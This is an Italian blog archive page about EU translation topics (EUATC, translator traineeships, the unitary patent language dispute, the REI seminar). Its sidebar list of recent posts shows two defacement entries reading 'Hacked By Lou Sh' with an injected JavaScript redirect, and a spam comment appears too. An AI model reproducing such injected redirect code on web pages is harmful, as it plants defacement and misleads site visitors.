EUROSBLOGS
--> Giugno 2013 Maggio 2013 Aprile 2013 Marzo 2013 Febbraio 2013 Gennaio 2013
Dicembre 2012 Novembre 2012 Ottobre 2012 Settembre 2012 Agosto 2012 Luglio 2012 Giugno 2012 Maggio 2012 Aprile 2012 Marzo 2012 February 2012 Gennaio 2012
Dicembre 2011 Novembre 2011 Ottobre 2011 Settembre 2011 Agosto 2011 Luglio 2011 Giugno 2011 Maggio 2011 Aprile 2011 Marzo 2011 Febbraio 2011 Gennaio 2011
Dicembre 2010 Novembre 2010 Ottobre 2010 Settembre 2010 Luglio 2010 Giugno 2010 Aprile 2010 Marzo 2010 Febbraio 2010
Traduttori

Traduttori


Traduttori

it

In seguito alla globalizzazione è aumentata per le aziende l'importanza della comunicazione in lingue differenti dalla propria. L'industria della traduzione è quindi un segmento in continua espansione che nel tempo ha determinato la nascita di vere e proprie società o agenzie di traduzione, che offrono gli strumenti necessari per poter operare in maniera competitiva nel contesto internazionale, garantendo una presenza efficace sul mercato globale. Così l'EUATC - European Union of Associations of Translation Companies - ha cominciato ad imporsi sul panorama europeo giocando un ruolo chiave in una serie di iniziative europee.

EUATC è l’organizzazione che coordina le associazioni nazionali delle imprese di traduzione in tutta Europa. Essa lavora e collabora in un’ottica aperta e condivisa, capace di far fronte alle nuove tendenze del settore attraverso uno sguardo attento ai mercati di tutto il mondo. Attraverso l’uso (...)

it

Quest'anno sono state molte le iniziative che l'Unione Europea ha attuato per cercare di offrire nuove occasioni e agevolazioni formative per i giovani studenti. Dopo il programma Recity, i programmi di Erasmus Mundus con i relativi master, e le borse di studio messe a disposizione per ognuna di queste attività arrivano i tirocini per traduttori.

Tutti coloro che sono in possesso di un diploma universitario possono provare a fare domanda per partecipare al tirocinio. L’Unione Europea ha messo a disposizione questa bella occasione per dare possibilità ai giovani di incrementare il proprio curriculum formativo e professionale. Inoltre (...)

it

La cooperazione rafforzata rappresenta una soluzione estrema per andare avanti nell’iter legislativo senza Italia e Spagna, oppostesi in blocco in merito alla questione linguistica, che prevede la possibilità di creare il brevetto in tre lingue (inglese, francese e tedesco) escludendone altre e creando così problemi di competitività, oltre alla presunta violazione del principio del multilinguismo europeo. La questione sembra essersi sbloccata, ma la Corte di Giustizia è chiamata a pronunciarsi sulla compatibilità con i trattati UE.

Continua l’infinita vicenda del brevetto unico europeo. Come già auspicato sul nostro sito nelle scorse settimane, il Parlamento Europeo ha approvato la risoluzione presentata dall’europarlamentare Klaus-Heiner Lehne (PPE) riguardo la procedura di cooperazione rafforzata a maggioranza qualificata. (...)

06
12
2010

Decima giornata REI

it

La REI, operativa dal 2005, ha lo scopo far collaborare tra loro tutte le persone che usano o creano linguaggi specialistici in italiano al fine di armonizzare i vari utilizzi e migliorare la comprensione della lingua. I suoi incontri si tengono due volte l’anno, a Roma e a Bruxelles, e sono accompagnati da gruppi di lavoro che si occupano delle innovazioni future.

Lo scorso 29 novembre si è svolta presso la Rappresentanza della Commissione europea in Italia la decima Giornata REI (Rete per l’eccellenza dell’italiano istituzionale) organizzata dalla Dg Traduzione della Commissione. Titolo del seminario è stato “Politicamente o linguisticamente corretto? (...)

it

Quando a marzo del 2008 i rappresentanti delle università degli Stati membri, dei Paesi candidati e Terzi si sono riuniti a Bruxelles nel corso della conferenza internazionale “Master Europeo di Traduzione”, certo non immaginavano il successo che in soli due anni avrebbe avuto questo progetto, (...)

Dialogo con i cittadini sul Futuro dell’Europa

L’Eurosblog è media partner dell’iniziativa "Dialogo con i cittadini sul Futuro dell’Europa" organizzata dalla Rappresentanza in Italia della Commissione europea. Una serie di dibattiti aperti tra la Commissione europea e i cittadini sui temi dell’occupazione, della protezione dei cittadini e della sostenibilità. L’obiettivo è rispondere insieme alla domanda: “Che Europa vogliamo nel futuro?”. Guarda il video viral e fai la tua domanda su Twitter, utilizzando l’hashtag #EUdeb8. Segui l’evento in streaming su http://webcast.ec.europa.eu/eutv/po...

Quale Europa vogliamo nel futuro?


Ultimo commento

Erasmus+: il nuovo programma di studio per i giovani in Europa
di réduction toysrus, le 21 agosto 2013

Nice article :). I’ve studied abroad in Espagna y eso fue una experiencia unica: tanto al nivel laboral como humano! Je recommande ça à tout le monde :)


comitato




Ultimi articoli del blog

<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/cc82855323b3141664fde5d9afad6d5c.png">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
15 marzo 2015
<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/646bc521095d5a61646327c7b727a862.jpg">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
17 febbraio 2015



© Groupe Euros du Village 2010 | Note legali | Sito realizzato con SPIP | Relizzazione tecnica e design : Media Animation & Euros du Village France